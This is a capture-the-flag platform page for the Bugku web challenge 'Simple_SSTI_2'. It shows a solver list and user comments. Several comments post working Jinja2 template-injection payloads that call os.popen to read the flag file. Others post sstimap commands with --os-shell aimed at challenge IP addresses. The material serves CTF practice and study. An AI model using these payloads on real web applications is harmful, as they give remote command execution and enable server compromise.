Simple_SSTI_2WEB 未解决
分数:
10
金币:
3
题目作者:
valecalida
一 血:
Tokeii
一血奖励:
3金币
解 决:
16651
提 示:
描 述:
Simple_SSTI_2
评分(15)
解题动态
LLawliet 攻破了该题 21小时前
加州故事 攻破了该题 3天前
这个昵称已存在 攻破了该题 5天前
wengun 攻破了该题 5天前
EvinZe 攻破了该题 6天前
星宇Sec 攻破了该题 7天前
gysbfff 攻破了该题 10天前
ItsAllOver 攻破了该题 11天前
hzydy0_0 攻破了该题 14天前
mystery 攻破了该题 15天前
CyberX 攻破了该题 16天前
因吹斯听 攻破了该题 17天前
xianbuxianxi 攻破了该题 17天前
粉面彩蛋 攻破了该题 18天前
肘飞宇 攻破了该题 18天前
小懒 攻破了该题 18天前
juicebug 攻破了该题 19天前
觅星信差 攻破了该题 20天前
konbu 攻破了该题 21天前
评论
Terrenc44 1月前
举报
http://160.202.254.160:18660/?flag={{lipsum.__globals__['os'].popen('cat flag').read()}}
WWls= 1月前
举报
fenjing一把嗦
icyskin 2月前
举报
sstimap -u http://160.202.254.160:19762/?flag=1 --os-shell -e Jinja2 echo $FLAG
icyskin 2月前
举报
http://160.202.254.160:19762/?flag={{url_for.__globals__[%27os%27].popen(%27cat%20/app/flag%27).read()}}
suxiansheng 4月前
举报
详解参考https://mp.csdn.net/mp_blog/creation/editor/161513397
pipizhu 4月前
举报
?flag={{lipsum.__globals__['os'].popen('cat /app/flag').read()}}获取flag
bugku2026 5月前
举报
先通过?flag={{self.__dict__}}发现拥有lipsum，再通过?flag={{lipsum.__globals__.os.popen("cat /app/flag").read()}}获取flag
r1ng_13 6月前
举报
焚靖直接秒，比上一个SSTI还简单
网恋秀牛子被录屏导致自卑 9月前
举报
/?flag={{(OvO.__eq__.__globals__.sys.modules.os.popen('cat flag')).read()}}
liutong27 1年前
举报
python3 sstimap.py -u http://117.72.52.127:12369/?flag=1 --os-shell